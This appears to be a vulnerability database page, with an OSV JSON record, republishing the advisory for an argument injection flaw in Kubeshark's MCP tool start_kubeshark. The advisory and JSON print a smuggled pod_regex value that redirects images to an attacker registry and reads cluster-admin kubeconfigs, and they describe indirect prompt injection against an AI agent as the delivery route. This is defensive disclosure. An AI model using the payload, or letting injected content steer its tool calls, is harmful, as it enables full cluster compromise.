CVE-2026-129236: Kubeshark MCP `start_kubeshark` Argument Injection Vulnerability

HIGH
Advisory Identifier: GHSA-8vf2-hxg5-crqh
CVSS 7.2
CWE-88
Published
Advisory Summary

CVE-2026-129236 is a HIGH (CVSS 7.2) mcp `start_kubeshark` argument injection vulnerability (CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')) affecting Kubeshark libraries in the Go ecosystem. The issue involves mcp `start_kubeshark` argument injection via `pod_regex` → image redirect → cluster takeover. Remediation is available by upgrading affected packages to version 0.0.2-0.20260812200004-a76a1920dc75.

CVE-2026-129236 at a Glance

CVE Identifier CVE-2026-129236
GHSA Identifier GHSA-8vf2-hxg5-crqh
Severity HIGH
CVSS v3.1 Base Score 7.2
CWE Classification CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')
Affected Product Kubeshark
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 7.2

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H).

Attack Vector Local (AV:L)
Attack Complexity High (AC:H)
Privileges Required High (PR:H)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-129236

To remediate this vulnerability, upgrade all affected Kubeshark dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/kubeshark/kubeshark fixed: 0.0.2-0.20260812200004-a76a1920dc75
Upgrade github.com/kubeshark/kubeshark to 0.0.2-0.20260812200004-a76a1920dc75
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/kubeshark/kubeshark

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-129236, inspect your project dependencies for Kubeshark:

inspect dependencies for github.com/kubeshark/kubeshark

Analyze the terminal output to locate any version of Kubeshark in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.0.2-0.20260812200004-a76a1920dc75), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection'), where the product constructs a string for a command to be executed by a separate component in another control sphere, but it does not properly delimit the intended arguments, options, or switches within that command string. In Kubeshark, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

**Ecosystem / package:** Go — `github.com/kubeshark/kubeshark` (the `kubeshark` CLI, `kubeshark mcp` subcommand) **Affected component:** `cmd/mcpRunner.go`, MCP tool `start_kubeshark` **Affected versions:** `>= v53.1.0`, `< v53.4.0` (the flaw shipped with the MCP command's first release; v53.3.0 was the last affected release) **Patched version:** `v53.4.0` **Credit:** novice-22 (Urim), via private coordinated disclosure. ## Summary The `start_kubeshark` MCP tool builds a `kubeshark tap` command by appending the caller-supplied `pod_regex` as a bare positional argument, with no `--` end-of-options separator. Because `tap` is a cobra command, a `pod_regex` that begins with `-`/`--set=` is parsed as a **flag**, not as the pod regex. An attacker who can influence the tool arguments (e.g. indirect prompt injection against an agent driving `kubeshark mcp --allow-destructive`) can inject arbitrary `--set` Helm value overrides — notably `tap.docker.registry` / `tap.docker.tag` — redirecting the deployed worker/hub/front images to an attacker-controlled registry. The worker DaemonSet runs privileged with `hostNetwork` and the host filesystem mounted, so an attacker image yields node and cluster-admin compromise. ## Introduced in Commit `0bbbb473` — "[1] Add MCP (Model Context Protocol) server command (#1832)", 2026-02-06 — first released in **v53.1.0** (`v53.1.0~23`). The `pod_regex` argument has been appended as a bare positional since the tool's introduction; there is no regression window, every MCP-capable release is affected. ## Details In `callStartKubeshark` (`cmd/mcpRunner.go`), the command was built as `["tap", <pod_regex>, "-n", …, "--set", …, "--set", "headless=true"]` with `pod_regex` inserted as a raw element. cobra parses flags positionally-agnostic and there was no `--` guard, so `pod_regex="--set=tap.docker.registry=…,tap.docker.tag=…"` became a real `--set`. The tool is only registered when `kubeshark mcp --allow-destructive` is set. ## Proof of concept (reporter, abridged) Driving `kubeshark mcp --allow-destructive`: `start_kubeshark` with `pod_regex="--set=tap.docker.registry=<attacker>,tap.docker.tag=<tag>"` caused the CLI to construct `kubeshark tap --set=… --set headless=true`, deploying an attacker image. The image ran as root inside the privileged worker container and read the host's cluster-admin kubeconfigs (`/etc/kubernetes/super-admin.conf`, `admin.conf`, `pki/`) — i.e. cluster-admin takeover from a single `pod_regex` value. ## Impact Full Kubernetes cluster compromise (cluster-admin) from a single injected tool argument, when the operator runs the MCP server with `--allow-destructive`. ## Severity rationale Kubeshark scores this **7.2 High**, down from the reporter's 8.3, on two metrics. The impact half of the vector (`S:C/C:H/I:H/A:H`) is unchanged — cluster-admin takeover is real and Kubeshark does not contest it. - **`AV:N` → `AV:L`.** `kubeshark mcp` is a local stdio MCP server with no network listener. The attacker's payload reaches it as content an agent running on that host ingested and replayed into a local tool call. The poisoned content may have travelled over a network, but the exploited interface is local. - **`PR:N` → `PR:H`.** Two administrative preconditions must already hold on the target host: the operator must have started the MCP server with the explicit, non-default `--allow-destructive` flag (without it `start_kubeshark` is not registered at all), and that host must already hold a kubeconfig with permission to deploy the privileged Kubeshark DaemonSet. The attacker is borrowing an existing high-privilege context, not gaining one. Kubeshark kept **`AC:H`** (the injection must land in content the agent ingests, and the attacker must stand up a malicious registry/image), **`UI:R`** (an operator must be actively driving the agent), and **`S:C`** (the compromise crosses from the CLI's authorization scope into the Kubernetes cluster — this is what keeps the score in the High band). ## Patches Fixed in **v53.4.0** by commit [`a76a1920`](https://github.com/kubeshark/kubeshark/commit/a76a1920dc7587be700a17f1592f58a9512ad214) (PR [#1957](https://github.com/kubeshark/kubeshark/pull/1957)). In `cmd/mcpRunner.go`: `pod_regex` is now appended **last**, after a literal `--` end-of-options separator, so it is always parsed as the `[POD REGEX]` positional and can never be interpreted as a flag. (`namespaces` / `release_namespace` are passed through `-n` / `-s` value flags, which consume their value token and are therefore not injectable.) ## Workarounds - Do not run `kubeshark mcp` with `--allow-destructive` unless required. - Do not expose the MCP server to untrusted content / untrusted agent inputs. - Restrict the kubeconfig/permissions available to the machine running the MCP server.

CVE-2026-129236 Affected Kubeshark Versions

1 component(s)
Fixed Versions:
0.0.2-0.20260812200004-a76a1920dc75
Product / Package Ecosystem Affected Versions Fixed Version
github.com/kubeshark/kubeshark
Go
≥ 0.0.2-0.20260206182249-0bbbb473ea3f
< 0.0.2-0.20260812200004-a76a1920dc75
0.0.2-0.20260812200004-a76a1920dc75

References

Frequently Asked Questions

What is CVE-2026-129236?
CVE-2026-129236 is a security vulnerability in Kubeshark involving MCP `start_kubeshark` argument injection via `pod_regex` → image redirect → cluster takeover under CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection').
Which Kubeshark versions are affected?
Affected versions include releases prior to 0.0.2-0.20260812200004-a76a1920dc75 across affected packages: github.com/kubeshark/kubeshark.
What version fixes CVE-2026-129236?
Upgrading to 0.0.2-0.20260812200004-a76a1920dc75 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/kubeshark/kubeshark affected?
Yes, github.com/kubeshark/kubeshark is affected in releases prior to 0.0.2-0.20260812200004-a76a1920dc75. Upgrade your dependency to 0.0.2-0.20260812200004-a76a1920dc75 or later.
What is the CVSS score of CVE-2026-129236?
CVE-2026-129236 has a CVSS v3.1 base score of 7.2 (HIGH) with vector string CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2026-129236?
CVE-2026-129236 is classified under CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') (The product constructs a string for a command to be executed by a separate component in another control sphere, but it does not properly delimit the intended arguments, options, or switches within that command string.).
How can I check Go dependencies for CVE-2026-129236?
Run the dependency tree command: 'inspect dependencies for github.com/kubeshark/kubeshark'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-8vf2-hxg5-crqh",
  "modified" : "2026-11-16T22:17:32Z",
  "published" : "2026-11-16T22:17:32Z",
  "aliases" : [ "CVE-2026-129236" ],
  "summary" : "Kubeshark: MCP `start_kubeshark` argument injection via `pod_regex` → image redirect → cluster takeover",
  "details" : "**Ecosystem / package:** Go — `github.com/kubeshark/kubeshark` (the `kubeshark`\nCLI, `kubeshark mcp` subcommand)\n**Affected component:** `cmd/mcpRunner.go`, MCP tool `start_kubeshark`\n**Affected versions:** `>= v53.1.0`, `< v53.4.0` (the flaw shipped with the MCP\ncommand's first release; v53.3.0 was the last affected release)\n**Patched version:** `v53.4.0`\n**Credit:** novice-22 (Urim), via private coordinated disclosure.\n\n## Summary\nThe `start_kubeshark` MCP tool builds a `kubeshark tap` command by appending the\ncaller-supplied `pod_regex` as a bare positional argument, with no `--`\nend-of-options separator. Because `tap` is a cobra command, a `pod_regex` that\nbegins with `-`/`--set=` is parsed as a **flag**, not as the pod regex. An\nattacker who can influence the tool arguments (e.g. indirect prompt injection\nagainst an agent driving `kubeshark mcp --allow-destructive`) can inject\narbitrary `--set` Helm value overrides — notably `tap.docker.registry` /\n`tap.docker.tag` — redirecting the deployed worker/hub/front images to an\nattacker-controlled registry. The worker DaemonSet runs privileged with\n`hostNetwork` and the host filesystem mounted, so an attacker image yields node\nand cluster-admin compromise.\n\n## Introduced in\nCommit `0bbbb473` — \"[1] Add MCP (Model Context Protocol) server command\n(#1832)\", 2026-02-06 — first released in **v53.1.0** (`v53.1.0~23`). The\n`pod_regex` argument has been appended as a bare positional since the tool's\nintroduction; there is no regression window, every MCP-capable release is\naffected.\n\n## Details\nIn `callStartKubeshark` (`cmd/mcpRunner.go`), the command was built as\n`[\"tap\", <pod_regex>, \"-n\", …, \"--set\", …, \"--set\", \"headless=true\"]` with\n`pod_regex` inserted as a raw element. cobra parses flags positionally-agnostic\nand there was no `--` guard, so `pod_regex=\"--set=tap.docker.registry=…,tap.docker.tag=…\"`\nbecame a real `--set`. The tool is only registered when\n`kubeshark mcp --allow-destructive` is set.\n\n## Proof of concept (reporter, abridged)\nDriving `kubeshark mcp --allow-destructive`: `start_kubeshark` with\n`pod_regex=\"--set=tap.docker.registry=<attacker>,tap.docker.tag=<tag>\"` caused\nthe CLI to construct `kubeshark tap --set=… --set headless=true`, deploying an\nattacker image. The image ran as root inside the privileged worker container and\nread the host's cluster-admin kubeconfigs\n(`/etc/kubernetes/super-admin.conf`, `admin.conf`, `pki/`) — i.e. cluster-admin\ntakeover from a single `pod_regex` value.\n\n## Impact\nFull Kubernetes cluster compromise (cluster-admin) from a single injected tool\nargument, when the operator runs the MCP server with `--allow-destructive`.\n\n## Severity rationale\nKubeshark scores this **7.2 High**, down from the reporter's 8.3, on two metrics. The\nimpact half of the vector (`S:C/C:H/I:H/A:H`) is unchanged — cluster-admin\ntakeover is real and Kubeshark does not contest it.\n\n- **`AV:N` → `AV:L`.** `kubeshark mcp` is a local stdio MCP server with no\n  network listener. The attacker's payload reaches it as content an agent\n  running on that host ingested and replayed into a local tool call. The\n  poisoned content may have travelled over a network, but the exploited\n  interface is local.\n- **`PR:N` → `PR:H`.** Two administrative preconditions must already hold on the\n  target host: the operator must have started the MCP server with the explicit,\n  non-default `--allow-destructive` flag (without it `start_kubeshark` is not\n  registered at all), and that host must already hold a kubeconfig with\n  permission to deploy the privileged Kubeshark DaemonSet. The attacker is\n  borrowing an existing high-privilege context, not gaining one.\n\nKubeshark kept **`AC:H`** (the injection must land in content the agent ingests, and\nthe attacker must stand up a malicious registry/image), **`UI:R`** (an operator\nmust be actively driving the agent), and **`S:C`** (the compromise crosses from\nthe CLI's authorization scope into the Kubernetes cluster — this is what keeps\nthe score in the High band).\n\n## Patches\nFixed in **v53.4.0** by commit\n[`a76a1920`](https://github.com/kubeshark/kubeshark/commit/a76a1920dc7587be700a17f1592f58a9512ad214)\n(PR [#1957](https://github.com/kubeshark/kubeshark/pull/1957)).\n\nIn `cmd/mcpRunner.go`: `pod_regex` is now appended **last**, after a\nliteral `--` end-of-options separator, so it is always parsed as the\n`[POD REGEX]` positional and can never be interpreted as a flag. (`namespaces` /\n`release_namespace` are passed through `-n` / `-s` value flags, which consume\ntheir value token and are therefore not injectable.)\n\n## Workarounds\n- Do not run `kubeshark mcp` with `--allow-destructive` unless required.\n- Do not expose the MCP server to untrusted content / untrusted agent inputs.\n- Restrict the kubeconfig/permissions available to the machine running the MCP\n  server.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/kubeshark/kubeshark"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.0.2-0.20260206182249-0bbbb473ea3f"
      }, {
        "fixed" : "0.0.2-0.20260812200004-a76a1920dc75"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/kubeshark/kubeshark/security/advisories/GHSA-8vf2-hxg5-crqh"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-129236"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/kubeshark/kubeshark/pull/1957"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/kubeshark/kubeshark/commit/a76a1920dc7587be700a17f1592f58a9512ad214"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/kubeshark/kubeshark"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/kubeshark/kubeshark/releases/tag/v53.4.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-88" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-11-16T22:17:32Z",
    "nvd_published_at" : "2026-11-16T17:17:31Z"
  }
}